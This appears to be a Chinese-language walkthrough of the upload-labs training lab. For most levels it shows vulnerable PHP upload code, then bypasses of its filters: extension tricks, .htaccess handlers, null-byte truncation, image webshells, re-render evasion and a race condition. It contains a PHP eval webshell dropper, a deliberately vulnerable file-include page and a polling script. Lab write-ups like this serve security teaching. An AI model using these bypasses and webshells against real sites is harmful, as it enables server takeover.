攻略秘籍

目录

  • 前言
  • 漏洞分类
  • 准备环境
  • Pass-01-js检查
  • Pass-02-验证Content-type
  • Pass-03-黑名单-上传特殊的可解析后缀名
  • Pass-04-黑名单-.htaccess
  • Pass-05-黑名单-大小写绕过
  • Pass-06-黑名单-空格绕过
  • Pass-07-黑名单-点绕过
  • Pass-08-黑名单-::$DATA绕过
  • Pass-09-黑名单-点空格点绕过
  • Pass-10-黑名单-双写绕过
  • Pass-11-白名单-%00截断
  • Pass-12-白名单-0x00截断
  • Pass-13-检查内容-文件头检查-图片马
  • Pass-14-检查内容-getimagesize()-图片马
  • Pass-15-检查内容-exif_imagetype()-图片马
  • Pass-16-检查内容-二次渲染绕过
  • Pass-17-代码逻辑-条件竞争
  • Pass-18-代码逻辑-条件竞争-白名单-Apache陌生后缀解析漏洞
  • Pass-19-黑名单-0x00截断
  • Pass-20-数组绕过

前言

       个人观点,若有误请指教


漏洞分类

  • 这里没使用到是:Apache换行解析漏洞。
  • 这里在提一嘴:%00截断和0x00截断是一样的(0x00就是%00解码成的16进制)。换句话说%00用于GET,而0x00用于POST。
  • 最后说明一下: 通关的方法并不唯一!!!

准备环境

  1. 下载phpstudy软件及搭建upload靶场,这里提供集成压缩包下载(链接:https://pan.baidu.com/s/1g3-aEtCP-lLCdOxuwzD6RA
    提取码:l3li)。下载完成后解压,根据使用说明.txt文件进行操作。操作完成启动phpstudy后,直接访问http://localhost/index.php即可。
    注:来自https://github.com/c0ny1/upload-labs/releases/tag/0.1

  2. 下载Burp Suite。(自寻网上教程)

  3. 下载中国菜刀。(自寻网上教程)

  4. 一句话木马文件。(根据菜刀软件进行创建即可,这里给出通关时所使用的文件)


Pass-01-js检查

  1. 在前端进行判断文件名后缀是否合理:若合理则提交给后端(不再进行验证,无条件信任前端传递的信息);若不合理则不再提交给后端(使用Burp是抓不到包的,因为浏览器直接解决了,没发出包)。

  2. 源码:

function checkFile() {//获得上传的第一个文件名(不过这里好像只允许上传一个文件)var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}
}
  1. 解决思路:在请求Pass-01页面时,使用Burp拦截响应包,删除里面的js代码后再转发给客户端(浏览器)。这是再提交不合理的文件后缀名,就可以直接发给后端了。(因为过滤的js代码被删除了)

  2. 实际操作(第一关给出的上传和菜刀的图片[第一张和最后两张],将不在后面的关卡中给出):





Pass-02-验证Content-type

  1. 互联网媒体类型(Internet Media Type)也叫做MIME类型。而在Http协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息。下面给出常见的Content-Type:
代表含义
text/html HTML格式
text/plain 纯文本格式
text/xml XML格式
image/gif gif图片格式
image/jpeg jpg图片格式
image/png png图片格式
application/json JSON数据格式
application/pdf pdf格式
application/msword Word文档格式
application/octet-stream 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded <form encType=””>中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式),应用于表单
application/xhtml+xml XHTML格式
application/xml XML数据格式
application/atom+xml Atom XML聚合格式
multipart/form-data 当在表单中需要上传文件的时候一定要使用这个
  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {//file_exists() 函数检查文件或目录(文件夹)是否存在。这里判断upload是否被创建了if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];//新位置,upload下没有file文件名则自动创建。$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']  //将file移动到path中,若成功则true,否则反之。          if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
  1. 解决思路:观看源码,可以得知后端只检查http报文中的Content-type类型,所以可以通过拦截报文,修改Content-type类型,以到达一句话木马文件成功上传。如无法理解$_FILES,可观看https://blog.csdn.net/weixin_46962006/article/details/121044595

  2. 具体实操:

Pass-03-黑名单-上传特殊的可解析后缀名

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:黑名单为只要没有被不允许都可以通过。而$deny_ext指定了不允许的名单,那我们可以直接修改其后缀名进行上传(将webshell.php改成webshell.php3)。当访问URL地址/webshell.php3时,服务器响应的报文会给Content-Type的值赋为text/html,以便浏览器进行解析。服务器之所以会这么做是因为在httpd-conf已经配置把php3当成php文件进行处理。若没有这样的配置,则响应的报文是不会包含Content-Type,浏览器也不会去解析(因为不知道这么解析),浏览器会直接把文件的内容打印出来。通俗来讲:服务器认为php3是php文件,发出的报文也是以php文件格式来送,浏览器收到后也只能以php文件进行解析。

  2. 具体实操:
       没什么好实操的,右键改个文件名后缀总会吧!!!


Pass-04-黑名单-.htaccess

  1. 源码:
is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 这里其实也是黑名单,但还是忘记过滤掉htaccess文件。.htaccess简单创建:https://jingyan.baidu.com/article/c74d600082eb280f6a595d18.html
//使用.htaccess文件是有前提条件的,其条件为mod_rewrite模块开启和AllowOverride All,也就是在httpd-conf中要出现下面两条语句。
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so//.htaccess文件内容(把FilesMatch标签去掉也行,去掉的话就是所有文件都会变当成php文件)
<FilesMatch "webshell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
  1. 具体实操:
       也没有什么好实操的,先上传.htaccess文件再上传webshell.jpg文件。

Pass-05-黑名单-大小写绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:可以看出该源码的黑名单数组只对中间H的大小写进行拉黑,而没有对php可能的所有大小写进行拉黑,那么就可以通过windows对大小写不敏感上传webshell.Php文件,在windows系统看来Php和php文件是一致。
    注意:Linux是对大小写敏感的,但可以配置。(很少人会将Linux设置成不敏感,也就是说该上传文件方式只适用于windows)

  2. 具体实操
       也没有什么好实操的,改个文件名直接上传就好了。


Pass-06-黑名单-空格绕过

  1. 源码为:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:可以看出来这里的黑名单很齐全而且大小写也在这里不起作用了(统一被转为小写了)。但还是少了空格的去除,所以可以将webshell.php改为webshell.php空格 ,以实现上传。不过在windows系统下创建xx.后缀名.和xx.后缀名空格,是不被允许的。(windows会默认自动的去去除末尾的点和空格)。这里通过Burp抓包进行修改。

  2. 具体实操:


Pass-07-黑名单-点绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:可以看出来这里的黑名单很齐全而且大小写也在这里不起作用了(统一被转为小写了)。但还是少了点的去除,所以可以将webshell.php改为webshell.php. ,以实现上传。不过在windows系统下创建xx.后缀名.和xx.后缀名空格,是不被允许的。(windows会默认自动的去去除末尾的点和空格)。这里通过Burp抓包进行修改。

  2. 具体实操:


Pass-08-黑名单-::$DATA绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:可以看出在php代码中没有对::$DATA进行过滤,这时可以利用windows的特性(只能在window系统使用)。在windows中会将文件名::$DATA之后的数据当成文件流处理,保持::$DATA之前的文件名。举个例子:假设上传的文件为test.php::$DATA.jpg,如果成功上传到服务器就会去掉::$DATA.jpg变成test.php进行保存。但是php代码中还通过strrchr函数获取文件后缀.jpg,并以该后缀作为上传之后的文件后缀,所以test.php::$DATA.jpg上传到服务器后缀仍然是.jpg。这里通过Burp抓包来修改。

  2. 具体实操:

    访问的时候记得去掉::$data(如:http://172.16.38.128/upload/202111181307318464.php)


Pass-09-黑名单-点空格点绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:在源码$img_path = UPLOAD_PATH.'/'.$file_name;中可以看出,该关与其他关不同的在于删除了点后的就直接拼接了(关键之处)。可以通过.空格.进行绕过(为了看得更清楚空格用g表示)。
$file_name = trim($_FILES['upload_file']['name']); //webshell.php.g.
$file_name = deldot($file_name);//删除文件名末尾的点  webshell.php.g
$file_ext = strrchr($file_name, '.'); //.g
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
  1. 具体实操:

Pass-10-黑名单-双写绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  1. 解决思路:通过源码可以得知,只要出现在数组中的文件后缀名都会被替换成空。但可以通过pphphp绕过,因为str_ireplace函数只向左(右)的方向扫一次,不会来回扫。

  2. 具体实操:
       也没有什么好实操的,改个文件后缀名直接上传就好了。


Pass-11-白名单-%00截断

  1. 源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
  1. 解决思路:该关为白名单。由于$_GET['save_path']是直接拼接,没有进行检查,所以可以通过%00绕过(%00是一个字符串结束的标志,相当于一个注释符,把后面的都注释掉了)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。

  2. 具体实操 :


Pass-12-白名单-0x00截断

  1. 源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
  1. 解决思路:该关为白名单。由于$_POST['save_path']是直接拼接,没有进行检查,所以可以通过%00绕过(因为是post提交,所以要改一下二进制)。前提条件是:PHP的版本要小于等于5.3.4和在php.ini文件中magic_quotes_gpc=Off。

  2. 具体实操 :
    在webshell.php%00这里,后面不一定要加%00,之所以加这个是为了更好的和%00截断融合在一起。这里主要是要在截断的位置加一个二进制0(0x00),也就是说图二是关键。


Pass-13-检查内容-文件头检查-图片马

  1. 源码:
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    //从二进制字符串对数据进行解包(C表示没有符号位)$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    //进行拼接变成数字$fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
  1. 解决思路:通过读文件的前2个字节判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令copy tupian.jpg /b + muma.php /a shell.jpg ,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。

  2. 具体实操:
    下面产生的shell.jpg的文件头应该是png文件的文件头,源码应该会把其当成png文件。

  3. 测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
    将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;  //将对应的文件内容包含过来并以php的语法进行解析
}else{show_source(__file__);
}
?>

Pass-14-检查内容-getimagesize()-图片马

  1. 源码:
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
  1. 解决思路:通过getimagesize(同时是只读取文件的头几个字节进行判断)和image_type_to_extension获得文件后缀名,与规定的进行比较判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令copy tupian.jpg /b + muma.php /a shell.jpg ,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。

  2. 具体实操:

  3. 测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
    将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;  //将对应的文件内容包含过来并以php的语法进行解析
}else{show_source(__file__);
}
?>

Pass-15-检查内容-exif_imagetype()-图片马

  1. 源码:
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break;    default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
  1. 通过exif_imagetype(需开启php_exif模块,同时是只读取文件的头几个字节进行判断)来判断文件类型,因此直接上传图片马(不要将一句话木马放在开头就行了)即可。制作图片马:①将图片和木马文件放在同一目录下;②在该目录下打开cmd;③输入命令copy tupian.jpg /b + muma.php /a shell.jpg ,其中/b表示一个二进制文件、 +表示将多个文件合并成一个文件、/a表示一个ASCll文本文件。意思为将tupian.jpg文件和muma.php文件合并成一个文件,其文件名为shell.jpg。

  2. 具体实操:

  3. 测试图片马是否能正常运行(可以不进行,菜刀能连上即可):
    将webshell.php的内容改成<?php @eval(phpinfo());?>,再进行一次合并文件。

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;  //将对应的文件内容包含过来并以php的语法进行解析
}else{show_source(__file__);
}
?>

Pass-16-检查内容-二次渲染绕过

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}
  1. 解决思路:可以将上传普通的图片,然后将其下载下来,在十六进制编辑软件(winhex等软件)比较两个文件,查看服务器生成的图片到达那里修改了,那里没修改。在没修改的对应位置加入一句话木马,再次上传即可。
    注意:三种文件的绕过是有所区别的,这里使用最简单的gif图片马(其他的方式可以看一下:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html)。

  2. 具体实操:
    这里附上自己使用的图片:链接:https://pan.baidu.com/s/1vQrTxWiN_Kgtrn7ePrdi0A (提取码:ae2z)


    将afterupload文件上传,用菜刀连接即可。


Pass-17-代码逻辑-条件竞争

  1. 源码:
is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
  1. 解决思路:这里会先把文件上传到服务器中,再进行判断是否满足后缀名的要求,不满足则删掉,满足则重新命名。这时,可以利用时间差,在其删除之前进行访问(通过Burp工具),通过访问创建真正的一句话木马文件。

  2. 具体实操:
    创建temp.php文件,内容为:

<?php  fputs(fopen('phpinfo.php','w'),'<?php @eval($_POST[\'ys\']);?>');?>

     拦截下面两个网址的请求


     拦截下来两个的请求都做以下操作



     下面的python脚本用于判断木马文件是否被创建成功。

#注意:使用时记得删去注释,否则cmd窗口会一闪而过
import requests   #第三方库
import os         #为了让屏幕停留导入的库  url = "http://172.16.38.128/upload/phpinfo.php"while True:html = requests.get(url)if html.status_code == 200:print("OK")breakos.system('pause')  #停留

     一切就绪,点击开始攻击和python脚本文件


Pass-18-代码逻辑-条件竞争-白名单-Apache陌生后缀解析漏洞

  1. 源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break;      default:$msg = '未知错误!';break;}
}//myupload.php
class MyUpload{......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
